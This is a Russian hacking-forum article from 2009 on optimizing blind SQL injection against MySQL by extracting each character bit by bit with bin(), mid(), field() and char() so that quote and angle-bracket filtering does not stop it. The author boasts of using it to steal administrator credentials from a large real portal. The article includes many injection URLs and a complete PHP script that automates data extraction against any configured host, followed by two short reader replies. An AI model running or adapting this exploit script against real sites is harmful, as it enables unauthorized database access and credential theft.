Небольшая оптимизация Blind SQL-Inj

Тема в разделе "Статьи", создана пользователем NetSky, 6 мар 2009.

  1. NetSky
    NetSky Guest
    [Intro]​

    Все наверное знают что такое слепая sql-инъекция, так вот, не так давно попался один, довольно популярный зарубежный портал, на котором нашел слепую инъекцию. При том, не поверите, вывода не было, а ориентировался я, по маленьким иконкам, подобным этой - [​IMG]. Среди кучи контента, они были в заголовке новости и меняли свое положение друг среди друга(либо вообще пропадали) в зависимости от правильности запроса, честно признаться, это была самая интересная, скажу даже забавная, инъекция, из всех, которые мне доводилось проводить. Так вот, та самая «небольшая оптимизация», о которой пойдет дальше речь, очень мне помогла получить данные авторизации администратора форума, с кол-вом зарегистрированных пользователей около нескольких сотен тысяч, а на сайте и того больше… При том что было большое количество БД и таблиц, среди которых, «вслепую», было очень трудно ориентироваться.


    [Let's start]​

    В принципе, все не так сложно, давайте дадим определение самой - слепой инъекции, чтобы все стало понятно и так слепая sql-инъекция - это инъекция без вывода данных, при которой можно руководствоваться только положительным или отрицательным ответом сервера, и делать выводы на их основе. Рассмотрим простейший пример:

    Код:
    http://www.site.com/script.php?id=1+and+ascii(lower(substring(version(),1,1)))>0
    В данном случае мы вырезаем функцией substring() один символ из ответа начиная с позиции 1, если это буква, то она приводится к нижнему регистру функцией lower(), а потом кодируется в ascii() соотв. функцией. Так вот, сама суть подобной инъекции, не наводит, ни на какие мысли?! Ведь сама ее суть так напоминает бинарный алгоритм, истина и ложь, 1 и 0… В СУБД Mysql есть функция bin(), которая возвращает кодируемое число уже в бинарном представлении, ей мы и воспользуемся.
    Кто еще не понял, мы будем кодировать число полученное функцией ascii() в bin и далее посимвольно выводить его уже судя по ответу сервера. Давайте сравним, до этого у нас был диапазон символов примерно от 0 до 125 (весь ascii диапазон - 0-255), и чтобы подобрать асци-код символа нужно перебрать приличное количество ему сопутствующих, конечно не без помощи ‘<’ и ‘>’, теперь же, у нас может уйти до 7-ми попыток подбора числа, ибо 125 в бинари – 1111101, это будет намного проще, ведь мы просто подставляем в запрос 0 или 1, что вам больше приглянется, скажем 1, отрезая от результата bin() по одному элементу, и имея в ответ верную или испорченную страничку, можем судить о том верно ли было наше предположение, таким образом, посимвольно выводить асци-код символов в бинарном представлении. Выглядеть это будет примерно так (функция mid() – аналог substring()):

    Код:
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),1,1)=1 - верно
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),2,1)=1 - верно
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),3,1)=1 - неверно (0)
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=1 - верно
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=1 - неверно (0)
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=1 - верно
    
    Таким образом получим 110101 - 53 в десимал, но не забываем, это же асци-код еще
    53 > 5 в нашей десятичной...
    
    Есть еще один нюанс, с которым я впоследствии тоже разобрался. Ведь мы не знаем когда остановиться, например если мы вышли за границы числа в ответе, можем ошибиться прихватив лишний 0, ибо есть 0 – который может вернуть первая функция mid(), обозначающий то что мы за пределами результата функции bin(), можно перепутать с 0 который могла вернуть нам сама функция bin(), и прихватить лишний нуль, скажем 50 в бинари – 110010 – 6 символов, а 100 – 1100100 – уже семь символов, а ведь оба числа в границах нашего диапазона.
    В этом случае мне помог мануал с офф сайта, а именно по функции mid(), при запросе на символ, которого уже, по сути нет в ответе, проверить это можно не только получив истину, при подставленном нуле (0), но и при подставленных пустых кавычках - ‘’. То есть отличить 0 возвращенный bin() от 0 который вернула mid() - обозначающего пустоту, можно подставив вместо нашего параметра (1 или 0) – ‘’. Тогда если это «пустота» которую вернула mid() – мы получим правильную страничку, иначе - испорченную…
    И тут же встала еще одна проблема, а что в случае если кавычки фильтруются сервером?! То есть magic_quotes = on… Тогда ничего другого в голову не пришло как попытаться закодировать параметры, сперва ничего не получалось, а потом нашел выход, единица закодированная в char() скажем, воспринималась сервером также как и единица, а нуль закодированный в тот же способ – также – абсолютно нормально, но в случае конца возвращаемого параметра, той самой «пустоты» mid(), наш закодированный 0 – char(48), подставленный в запрос, уже возвращал ложь, то есть вот оно наше отличие… Выглядит примерно так:

    Код:
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=char(49) - 1 (если в границах диапазона и бин вернула один получим истину).
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=char(48) - 0 (если в границах диапазона и бин вернула нуль получим истину).
    http://www.site.com/script.php?id=1+and+mid(bin(ascii(lower(mid(version(),1,1)))),...,1)=char(48) - 0 (если за границами диапазона получим ложь).

    Осталось только совместить все, в этом мне помогла функция field(), которая сравнивает два и более параметров, и возвращает истину (1) в случае совпадения, и 0 в обратном случае. Получим что-то вроде:

    Код:
    http://www.site.com/script.php?id=1+and+field((mid(bin(ascii(lower(mid(version(),1,1)))),50,1)=char(49)),(mid(bin(ascii(lower(mid(version(),1,1)))),50,1)=char(48)))
    Как в заметили, я подставил значение 50 в функции mid() на место параметра, обозначающего позицию, с которой функция начинает работу. То есть, вернувшийся к нам bin-код, закодированного результата ascii() – уж никак не может быть 50 символов в длину, мы получаем заведомо пустой результат первой функции mid() и выходим за пределы результата функции bin(). В этом случае, наша функция сравнения – field(), вернет положительный результат, ибо и первый запрос в ней, и второй, вернут один результат – 0, т.к. возвращаемое второй mid() значение, не является в бинари ни нулем, ни единицей, а является пустотой, которую мы путали с 0-м. То есть при истинном результате возвращаемом подобным запросом, можем сказать что мы находимся за пределами значения, которое вернула нам bin(). Повторюсь, запрос и с нулем и с единицей не могут вернуть одновременно одинаковое значение, если же возвращают, значит оба запроса не верны - значит мы вышли за пределы результата bin(), а кодировали символы 0 и 1 мы, чтобы 0 - обозначающий выход за пределы, который могла вернуть mid(), не путать с очередным "кусочком" bin() - тоже нулем.
    Вот мы и разобрались с проблемой. И опять же, чтобы вы не путались, обобщу все сказанное ранее, мы кодировали асци-код в бинари и считывали бинари посимвольно посредством манипуляций с 0 и 1, при этом возникла проблема в том чтобы отличить выход за пределы результата, который вернулся в бин, от части самого результата то есть 0 функции mid, от 0-я функции bin(), как я разобрался с проблемой, также описал, а именно, 0 и 1 закодированные в char() отличались от той самой пустоты представленной также нулем, то есть мы в одной функции сравнили два запроса и с 0-м и с единицей, но уже закодированными, и поскольку, вернуть один и тот же результат – ложь, они могли лишь в случае выхода за пределы диапазона, мы нашли решение нашей проблемы. Это я расписал для тех кому впадлу было вникать в вышерасписанное… Конечно же все это шло к тому, что проще всего, все эти наблюдения и заключения, использовать например в скрипте, который и будет перебирать ответы сервера, а нам выводить лишь результат.
    Вкратце опишу логику работы скрипта… Значит делаем цикл, в котором проверяем не конец ли выводимой строки, в нем еще один, в котором прежде всего проверяем не вышли ли мы за пределы значения, которое вернула нам функция bin(), а далее отправляем запрос на некий символ и приравниваем результат к нулю/единице, делаем соответствующие выводы по ответу…


    PHP:
    <?php

    /*----------------------*/
    /*      (c) NetSky      */
    /*      Xaker.Name      */
    /*----------------------*/

    /*Входные параметры*/

    $host = "www.site.com"; //Хост
    $quot = "portfolio/index.php?id=6"; //Скрипт
    $quote = "user()"; //Ваш запрос
    $truer = "<title>Информационные технологии"; //Изменения в страничке только при валидном результате

    /*-----------------*/

    set_time_limit(0);

    $bres = array(); //Сюда выводятся асци-коды в бин
    $res = array();  //Сюда результат
    for($i = 1;; $i++)
    {
    $stop = false;
    $data = "";

    /*Проверка на конец выводимой строки*/

            
    $zapr3 = "/**/AND/**/ASCII(LOWER(MID((".$quote."),".$i.",1)))=0";
            
            
    $fp = fsockopen($host, 80, $errn, $errs, 90);
            if(!
    fp) 
                echo 
    "$errs : $errn\r\n";
            else 
            {
            
    $q = "GET /".$quot.$zapr3." HTTP/1.1\r\n";
            
    $q .= "Host: $host\r\n";
            
    $q .= "Connection: Close\r\n\r\n";
            
    fwrite($fp,$q);
            while(!
    feof($fp))
            {
                 
    $data .= fgets($fp,128);
                if(
    substr_count($data,$truer) > 0)
                {
                    echo 
    "Result : ";
                    for(
    $s = 0; $s < count($res); $s++)
                    {
                        echo 
    chr($res[$s]);
                    }
                    
    fclose($fp);
                    exit();
                }
            }
            }
            
    fclose($fp);
            
    /*-----------------------------------*/

        
    for($x = 1;; $x++)
        {
        
        
    /*Проверка на конец бинари-строки*/
        
            
    $data = "";
            
    $zapr2 = "/**/AND/**/FIELD((MID(BIN(ASCII(LOWER(MID((".$quote."),".$i.",1)))),".$x.",1)=char(49)),(MID(BIN(ASCII(LOWER(MID((".$quote."),".$i.",1)))),".$x.",1)=char(48)))";
            
            
    $fp = fsockopen($host, 80, $errn, $errs, 90);
            if(!
    fp) 
                echo 
    "$errs : $errn\r\n";
            else 
            {
            
    $q = "GET /".$quot.$zapr2." HTTP/1.1\r\n";
            
    $q .= "Host: $host\r\n";
            
    $q .= "Connection: Close\r\n\r\n";
            
    fwrite($fp,$q);
            while(!
    feof($fp))
            {
                 
    $data .= fgets($fp,128);
                if(
    substr_count($data,$truer) > 0)
                {
                    
    $stop = true;
                    break;
                }
            }
            }
            
    fclose($fp);
            
        
    /*-------------------------------*/
            
        /*Запрос на поочередный вывод бинари*/
        
            
    if(!$stop)
            {
                
    $data = "";
                
    $zapr1 = "/**/AND/**/MID((BIN(ASCII(LOWER(MID((".$quote."),".$i.",1))))),".$x.",1)=1";
                
                
    $fp = fsockopen($host, 80, $errn, $errs, 90);
                if(!
    fp) 
                    echo 
    "$errs : $errn\r\n";
                else 
                {
                
    $q = "GET /".$quot.$zapr1." HTTP/1.1\r\n";
                
    $q .= "Host: $host\r\n";
                
    $q .= "Connection: Close\r\n\r\n";
                
    fwrite($fp,$q);
                while(!
    feof($fp))
                {
                    
    $data .= fgets($fp,128);
                }
                if(
    substr_count($data,$truer) > 0) $bres[$i-1] .= 1; //Добавляем в массив "кусочек" бинари,
                                             
    else  $bres[$i-1] .= 0; //в зависимости от вернувшейся странички.
                
    }
            
    fclose($fp);
            } 
            else 
            {
                
    $res[$i-1] = bindec($bres[$i-1]);
                break;
            }
            
        
    /*------------------------------*/
        
    }
    }
    ?>

    [Outro]​

    Чуть выше, привожу свой скрипт, написанный, правда, на скорую руку. Также, забыл упомянуть про основное преимущество этого способа, при фильтрации параметра htmlspecialchars(), либо при отдельной фильтрации неких символов/операторов, мы не можем применять ‘<’ & ‘>’ при проведении слепой инъекции, то есть при проведении ее обычым способом – бессильны, оставался бы, только грубейший перебор всего диапазона. С таким примером, не так давно столкнулся, при чем вы не представляете каким важным был этот сайт. Статья написана, исключительно в познавательных целях. Прошу, задавайте вопросы, экспериментируйте, совершенствуйте…


    Удачи, с вами был NetSky.
    Специально для XNT.
     
    Последнее редактирование модератором: 7 мар 2009
    6 мар 2009
    5 пользователям это понравилось.
  2. well*
    well* Guest
    ну... я постарался во все это вникнуть))
    1)Не совсем понятно, для чего нужны "<" и ">". Для чего они используются?
    2) Что есть ascii()?
    3) Для чего нужен lower?
     
    13 апр 2009
  3. faza02
    faza02 Guest
    меньше и больше. то есть сравнение.
    конвертирование в ascii.. надо бы знать такие вещи).
    опускает буквы в нижний регистр.
     
    13 апр 2009
Загрузка...